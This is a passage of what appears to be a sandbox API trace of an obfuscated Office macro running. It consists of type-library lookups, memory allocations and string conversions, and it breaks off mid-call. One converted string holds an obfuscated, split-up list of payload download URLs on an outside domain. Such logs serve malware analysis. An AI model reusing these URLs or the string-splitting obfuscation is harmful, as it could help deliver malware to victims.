(This=0x7919ac0) returned 0x4 [0018.611] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.611] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_wfKjWYkL") returned 0x1029ad [0018.611] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_wfKjWYkL" | out: _Dst="_B_var_wfKjWYkL") returned 0x0 [0018.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_wfKjWYkL") returned 16 [0018.611] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.611] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wfKjWYkL", lHashVal=0x1029ad, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.611] IUnknown:Release (This=0x7919520) returned 0xd [0018.611] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.611] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wfKjWYkL", lHashVal=0x1029ad, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.611] IUnknown:Release (This=0x7346470) returned 0xb [0018.611] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.611] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wfKjWYkL", lHashVal=0x1029ad, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.611] IUnknown:Release (This=0x7345930) returned 0x7 [0018.611] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.611] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wfKjWYkL", lHashVal=0x1029ad, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.611] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.611] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.611] IUnknown:Release (This=0x7919520) returned 0xd [0018.611] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61cec, cbMultiByte=10, lpWideCharStr=0xcbc1bac, cchWideChar=22 | out: lpWideCharStr="ZquNtmNfja") returned 10 [0018.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61d06, cbMultiByte=10, lpWideCharStr=0xcbc1ff6, cchWideChar=22 | out: lpWideCharStr="jDdCrbiZmM") returned 10 [0018.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61d1a, cbMultiByte=10, lpWideCharStr=0xcbc21a0, cchWideChar=22 | out: lpWideCharStr="PJKEwUTbzA") returned 10 [0018.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61d2e, cbMultiByte=10, lpWideCharStr=0xcbc234a, cchWideChar=22 | out: lpWideCharStr="hTvWKZQaQU") returned 10 [0018.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61d42, cbMultiByte=10, lpWideCharStr=0xcbc24f4, cchWideChar=22 | out: lpWideCharStr="vbdWNiLhvs") returned 10 [0018.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61d56, cbMultiByte=10, lpWideCharStr=0xcbc269e, cchWideChar=22 | out: lpWideCharStr="KPNfOPjpOY") returned 10 [0018.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61d6a, cbMultiByte=10, lpWideCharStr=0xcbc2848, cchWideChar=22 | out: lpWideCharStr="TmfftPHHrS") returned 10 [0018.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61d7e, cbMultiByte=10, lpWideCharStr=0xcbc29f2, cchWideChar=22 | out: lpWideCharStr="KHJRQojnqP") returned 10 [0018.613] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcbd0000 [0018.614] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uAXNDU") returned 0x1024a0 [0018.614] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="uAXNDU" | out: _Dst="uAXNDU") returned 0x0 [0018.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="uAXNDU") returned 7 [0018.614] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.614] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="uAXNDU", lHashVal=0x1024a0, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.614] IUnknown:Release (This=0x7919520) returned 0xd [0018.614] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.614] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="uAXNDU", lHashVal=0x1024a0, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.614] IUnknown:Release (This=0x7346470) returned 0xb [0018.614] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.614] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="uAXNDU", lHashVal=0x1024a0, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.614] IUnknown:Release (This=0x7345930) returned 0x7 [0018.614] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.614] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="uAXNDU", lHashVal=0x1024a0, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.614] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.614] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.614] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_uAXNDU") returned 0x109f49 [0018.614] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_uAXNDU" | out: _Dst="_B_var_uAXNDU") returned 0x0 [0018.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_uAXNDU") returned 14 [0018.614] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.614] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_uAXNDU", lHashVal=0x109f49, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.614] IUnknown:Release (This=0x7919520) returned 0xd [0018.614] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.614] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_uAXNDU", lHashVal=0x109f49, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.614] IUnknown:Release (This=0x7346470) returned 0xb [0018.614] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.614] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_uAXNDU", lHashVal=0x109f49, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.614] IUnknown:Release (This=0x7345930) returned 0x7 [0018.614] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.614] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_uAXNDU", lHashVal=0x109f49, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.614] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.614] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.614] IUnknown:Release (This=0x7919520) returned 0xd [0018.614] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61d9c, cbMultiByte=197, lpWideCharStr=0xcbd0e6c, cchWideChar=396 | out: lpWideCharStr="WqVcUIvznL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp/TfuzUnB0aYvzqjUM") returned 197 [0018.614] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb533b0 [0018.614] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.614] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.614] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.615] IUnknown:Release (This=0x7919520) returned 0xd [0018.615] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.615] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WSNEqEPMPtQ") returned 0x10d013 [0018.615] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="WSNEqEPMPtQ" | out: _Dst="WSNEqEPMPtQ") returned 0x0 [0018.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="WSNEqEPMPtQ") returned 12 [0018.615] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.615] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WSNEqEPMPtQ", lHashVal=0x10d013, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.615] IUnknown:Release (This=0x7919520) returned 0xd [0018.615] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.615] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WSNEqEPMPtQ", lHashVal=0x10d013, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.615] IUnknown:Release (This=0x7346470) returned 0xb [0018.615] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.615] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WSNEqEPMPtQ", lHashVal=0x10d013, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.615] IUnknown:Release (This=0x7345930) returned 0x7 [0018.615] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.615] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WSNEqEPMPtQ", lHashVal=0x10d013, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.615] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.615] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.615] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_WSNEqEPMPtQ") returned 0x10c175 [0018.615] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_WSNEqEPMPtQ" | out: _Dst="_B_var_WSNEqEPMPtQ") returned 0x0 [0018.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_WSNEqEPMPtQ") returned 19 [0018.615] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.615] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WSNEqEPMPtQ", lHashVal=0x10c175, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.615] IUnknown:Release (This=0x7919520) returned 0xd [0018.615] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.615] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WSNEqEPMPtQ", lHashVal=0x10c175, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.615] IUnknown:Release (This=0x7346470) returned 0xb [0018.615] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.615] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WSNEqEPMPtQ", lHashVal=0x10c175, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.615] IUnknown:Release (This=0x7345930) returned 0x7 [0018.615] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.615] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WSNEqEPMPtQ", lHashVal=0x10c175, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.615] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.615] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.615] IUnknown:Release (This=0x7919520) returned 0xd [0018.615] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61e7c, cbMultiByte=10, lpWideCharStr=0xcbd1d14, cchWideChar=22 | out: lpWideCharStr="uOABcOHlLw") returned 10 [0018.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61e96, cbMultiByte=10, lpWideCharStr=0xcbd215e, cchWideChar=22 | out: lpWideCharStr="lFiuAdSVvG") returned 10 [0018.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61eaa, cbMultiByte=10, lpWideCharStr=0xcbd2308, cchWideChar=22 | out: lpWideCharStr="OYuNAszwwC") returned 10 [0018.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61ebe, cbMultiByte=10, lpWideCharStr=0xcbd24b2, cchWideChar=22 | out: lpWideCharStr="pcwZzDqdmH") returned 10 [0018.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61ed2, cbMultiByte=10, lpWideCharStr=0xcbd265c, cchWideChar=22 | out: lpWideCharStr="mWiuVWSHCl") returned 10 [0018.616] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb53600 [0018.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61ee6, cbMultiByte=10, lpWideCharStr=0xcbd2806, cchWideChar=22 | out: lpWideCharStr="JCOTtWTnAk") returned 10 [0018.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61efa, cbMultiByte=10, lpWideCharStr=0xcbd29b0, cchWideChar=22 | out: lpWideCharStr="QLnJHJGJzz") returned 10 [0018.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61f0e, cbMultiByte=10, lpWideCharStr=0xcbd2b5a, cchWideChar=22 | out: lpWideCharStr="mojnUspAri") returned 10 [0018.617] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcbe0000 [0018.618] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="McZwbPGwrHI") returned 0x10a4aa [0018.618] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="McZwbPGwrHI" | out: _Dst="McZwbPGwrHI") returned 0x0 [0018.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="McZwbPGwrHI") returned 12 [0018.618] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.618] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="McZwbPGwrHI", lHashVal=0x10a4aa, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.618] IUnknown:Release (This=0x7919520) returned 0xd [0018.618] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.618] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="McZwbPGwrHI", lHashVal=0x10a4aa, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.618] IUnknown:Release (This=0x7346470) returned 0xb [0018.618] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.618] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="McZwbPGwrHI", lHashVal=0x10a4aa, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.618] IUnknown:Release (This=0x7345930) returned 0x7 [0018.618] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.618] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="McZwbPGwrHI", lHashVal=0x10a4aa, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.618] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.618] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.618] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_McZwbPGwrHI") returned 0x10868b [0018.618] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_McZwbPGwrHI" | out: _Dst="_B_var_McZwbPGwrHI") returned 0x0 [0018.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_McZwbPGwrHI") returned 19 [0018.618] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.618] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_McZwbPGwrHI", lHashVal=0x10868b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.618] IUnknown:Release (This=0x7919520) returned 0xd [0018.618] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.618] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_McZwbPGwrHI", lHashVal=0x10868b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.618] IUnknown:Release (This=0x7346470) returned 0xb [0018.618] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.618] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_McZwbPGwrHI", lHashVal=0x10868b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.618] IUnknown:Release (This=0x7345930) returned 0x7 [0018.618] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.618] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_McZwbPGwrHI", lHashVal=0x10868b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.619] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.619] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.619] IUnknown:Release (This=0x7919520) returned 0xd [0018.619] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61f2c, cbMultiByte=10, lpWideCharStr=0xcbe0fdc, cchWideChar=22 | out: lpWideCharStr="JlfGqRFPHv") returned 10 [0018.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61f46, cbMultiByte=10, lpWideCharStr=0xcbe1426, cchWideChar=22 | out: lpWideCharStr="saMrBIvzcw") returned 10 [0018.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61f5a, cbMultiByte=10, lpWideCharStr=0xcbe15d0, cchWideChar=22 | out: lpWideCharStr="bEqdiCGwOZ") returned 10 [0018.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61f6e, cbMultiByte=10, lpWideCharStr=0xcbe177a, cchWideChar=22 | out: lpWideCharStr="jszwPhGZoc") returned 10 [0018.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61f82, cbMultiByte=10, lpWideCharStr=0xcbe1924, cchWideChar=22 | out: lpWideCharStr="KszvZkvRQI") returned 10 [0018.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61f96, cbMultiByte=10, lpWideCharStr=0xcbe1ace, cchWideChar=22 | out: lpWideCharStr="siLsoEvCYo") returned 10 [0018.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61faa, cbMultiByte=10, lpWideCharStr=0xcbe1c78, cchWideChar=22 | out: lpWideCharStr="KJAhMAbNcT") returned 10 [0018.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61fbe, cbMultiByte=10, lpWideCharStr=0xcbe1e22, cchWideChar=22 | out: lpWideCharStr="CWJzniEuDw") returned 10 [0018.621] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jDzbzGiP") returned 0x106af5 [0018.621] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="jDzbzGiP" | out: _Dst="jDzbzGiP") returned 0x0 [0018.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="jDzbzGiP") returned 9 [0018.621] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.621] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jDzbzGiP", lHashVal=0x106af5, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.621] IUnknown:Release (This=0x7919520) returned 0xd [0018.621] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.621] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jDzbzGiP", lHashVal=0x106af5, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.621] IUnknown:Release (This=0x7346470) returned 0xb [0018.621] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.622] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jDzbzGiP", lHashVal=0x106af5, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.622] IUnknown:Release (This=0x7345930) returned 0x7 [0018.622] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.622] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jDzbzGiP", lHashVal=0x106af5, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.622] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.622] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.622] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_jDzbzGiP") returned 0x10427e [0018.622] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_jDzbzGiP" | out: _Dst="_B_var_jDzbzGiP") returned 0x0 [0018.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_jDzbzGiP") returned 16 [0018.622] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.622] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jDzbzGiP", lHashVal=0x10427e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.622] IUnknown:Release (This=0x7919520) returned 0xd [0018.622] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.622] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jDzbzGiP", lHashVal=0x10427e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.622] IUnknown:Release (This=0x7346470) returned 0xb [0018.622] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.622] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jDzbzGiP", lHashVal=0x10427e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.622] IUnknown:Release (This=0x7345930) returned 0x7 [0018.622] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.622] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jDzbzGiP", lHashVal=0x10427e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.622] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.622] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.622] IUnknown:Release (This=0x7919520) returned 0xd [0018.622] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.622] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcbf0000 [0018.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61fdc, cbMultiByte=10, lpWideCharStr=0xcbf02bc, cchWideChar=22 | out: lpWideCharStr="AQiROMrVlI") returned 10 [0018.623] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abaa30 [0018.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61ff6, cbMultiByte=10, lpWideCharStr=0xcbf0706, cchWideChar=22 | out: lpWideCharStr="VutqkzSzHw") returned 10 [0018.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6200a, cbMultiByte=10, lpWideCharStr=0xcbf08b0, cchWideChar=22 | out: lpWideCharStr="uvrkQuXlXB") returned 10 [0018.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6201e, cbMultiByte=10, lpWideCharStr=0xcbf0a5a, cchWideChar=22 | out: lpWideCharStr="vcTtJKqkpz") returned 10 [0018.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62032, cbMultiByte=10, lpWideCharStr=0xcbf0c04, cchWideChar=22 | out: lpWideCharStr="tipJbcEZnI") returned 10 [0018.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62046, cbMultiByte=10, lpWideCharStr=0xcbf0dae, cchWideChar=22 | out: lpWideCharStr="ViQTNFYtBU") returned 10 [0018.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6205a, cbMultiByte=10, lpWideCharStr=0xcbf0f58, cchWideChar=22 | out: lpWideCharStr="pFzjNtbAja") returned 10 [0018.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6206e, cbMultiByte=10, lpWideCharStr=0xcbf1102, cchWideChar=22 | out: lpWideCharStr="GhKJDLGiIn") returned 10 [0018.626] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BRCzVQd") returned 0x10311e [0018.626] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="BRCzVQd" | out: _Dst="BRCzVQd") returned 0x0 [0018.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="BRCzVQd") returned 8 [0018.626] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.626] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="BRCzVQd", lHashVal=0x10311e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.626] IUnknown:Release (This=0x7919520) returned 0xd [0018.626] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.626] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="BRCzVQd", lHashVal=0x10311e, pfName=0x3050e0, pBstrLibName=0x305010 | out: 